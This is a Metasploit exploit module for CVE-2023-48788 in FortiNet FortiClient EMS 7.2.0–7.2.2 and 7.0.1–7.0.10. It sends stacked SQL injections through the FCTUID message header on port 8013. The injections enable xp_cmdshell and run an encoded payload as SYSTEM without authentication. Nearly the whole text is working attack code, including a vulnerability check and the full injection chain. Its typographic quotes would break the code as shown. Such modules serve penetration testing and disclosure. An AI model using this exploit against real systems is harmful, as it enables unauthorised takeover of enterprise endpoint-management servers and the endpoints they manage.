FortiNet FortiClient EMS 7.2.2 / 7.0.10 SQL Injection / Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Tcp
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE’,
‘Description’ => %q{
An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).
FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized
platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which
can be sent directly into database queries.

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013
and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.
In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable
SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code
execution in the context of NT AUTHORITY\SYSTEM

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient
EMS for the necessary vulnerable services to be available.
},
‘Author’ => [
‘Zach Hanley’, # Analysis & PoC
‘James Horseman’, # Analysis & PoC
‘jheysel-r7’, # Msf module
‘Spencer McIntyre’ # Msf module assistance
],
‘References’ => [
[ ‘URL’, ‘https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/’],
[ ‘URL’, ‘https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py’],
[ ‘CVE’, ‘2023-48788’]],
‘License’ => MSF_LICENSE,
‘Platform’ => ‘win’,
‘Privileged’ => true,
‘Arch’ => [ ARCH_CMD ],
‘Targets’ => [
[ ‘Automatic Target’, {}]],
‘DefaultTarget’ => 0,
‘DisclosureDate’ => ‘2024-04-21’,
‘DefaultOptions’ => {
‘SSL’ => true,
‘RPORT’ => 8013
},
‘Notes’ => {
‘Stability’ => [ CRASH_SAFE ],
‘SideEffects’ => [ IOC_IN_LOGS ],
‘Reliability’ => [ REPEATABLE_SESSION ]}
)
)
end

def get_register_info
register_info = <<~REGISTER_INFO
AVSIG_VER=1.00000
REG_KEY=_
EP_ONNETCHKSUM=0
AVENG_VER=6.00266
DHCP_SERVER=None
FCTOS=WIN64
VULSIG_VER=1.00000
FCTVER=7.0.7.0345
APPSIG_VER=13.00364
USER=Administrator
APPENG_VER=4.00082
AVALSIG_VER=0.00000
VULENG_VER=2.00032
OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)
COM_MODEL=VMware Virtual Platform
RSENG_VER=1.00020
AV_PROTECTED=0
AVALENG_VER=0.00000
PEER_IP=
ENABLED_FEATURE_BITMAP=49
EP_OFFNETCHKSUM=0
INSTALLED_FEATURE_BITMAP=158583
EP_CHKSUM=0
HIDDEN_FEATURE_BITMAP=155943
DISKENC=
HOSTNAME=CYBER-RETQB1FLP
AV_PRODUCT=
FCT_SN=FCT8001638848651
INSTALLUID=#{Faker::Internet.uuid.upcase}
NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0
UTC=1710271774
PC_DOMAIN=
COM_MAN=VMware, Inc.
CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz
MEM=12287
HDD=99
COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82
DOMAIN=
WORKGROUP=WORKGROUP
USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500
GROUP_TAG=
ADGUID=
EP_FGTCHKSUM=0
EP_RULECHKSUM=0
WF_FILESCHKSUM=0
EP_APPCTRLCHKSUM=0
REGISTER_INFO
Rex::Text.encode_base64(register_info)
end

def get_message(sqli)
message = “MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n”
message << “IP=127.0.0.1\n”
message << “MAC=#{Faker::Internet.mac_address}\n”
message << “FCT_ONNET=0\n”
message << “CAPS=32767\n”
message << “VDOM=default\n”
message << “EC_QUARANTINED=0\n”
message << “SIZE= {SIZE_PLACEHOLDER}\n”
message << “\n”
message << “X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n”
message << ‘X-FCCK-REGISTER-END’
message << “\r\n”
message << “\r\n”
message.gsub!(‘{SQLI_PLACEHOLDER}’, sqli)
message_length = message.length
message_length = message_length – ‘{SIZE_PLACEHOLDER}’.length + message_length.to_s.length
message.gsub!(‘{SIZE_PLACEHOLDER}’, message_length.to_s)
message
end

def send_message(sqli)
message = get_message(sqli)
vprint_status(“Sending the following message: #{message}”)

buf = ”
begin
connect(true, { ‘SSL’ => true })
sock.put(message)
buf = sock.get_once || ”
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog(“#{e.class} #{e.message}\n#{e.backtrace * “\n”}”)
ensure
disconnect
end
vprint_status(“The response received was: #{buf}”)
buf
end

def check
res = send_message(“‘ OR 1=1; –“)
return CheckCode::Vulnerable(‘The SQLi has been exploited successfully’) if res.include?(‘KA_INTERVAL’)
return CheckCode::Safe if res.include?(“The FCT record doesn’t exist”)

CheckCode::Unknown(“#{peer} – FmcDaemon.exe does not appear to be running on the endpoint targeted”)
end

def exploit
# Things to note:
# 1. xp_cmdshell is disabled by default so first we must enable it.
# 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing
# attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL
# before running the command with xp_command shell.
# 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which
# is when we expect the response to be empty.
inject = [
“‘ OR 1=1; exec master.dbo.sp_configure ‘show advanced options’, 1;–“,
“‘ OR 1=1; reconfigure;–“,
“‘ OR 1=1; exec master.dbo.sp_configure ‘xp_cmdshell’,1;–“,
“‘ OR 1=1; reconfigure;–“,
“‘ OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack(‘H*’).first}); exec master.dbo.xp_cmdshell @sql;–“,
]inject.each do |sqli|
if sqli == inject.last
send_message(sqli).empty? ? print_good(“The SQLi: #{sqli} was executed successfully”) : fail_with(Failure::UnexpectedReply, ‘The SQLi injection response indicated the injection was unsuccessful.’)
else
send_message(sqli).include?(‘KA_INTERVAL’) ? print_good(“The SQLi: #{sqli} was executed successfully”) : fail_with(Failure::UnexpectedReply, ‘The SQLi injection response indicated the injection was unsuccessful.’)
end
end
end
end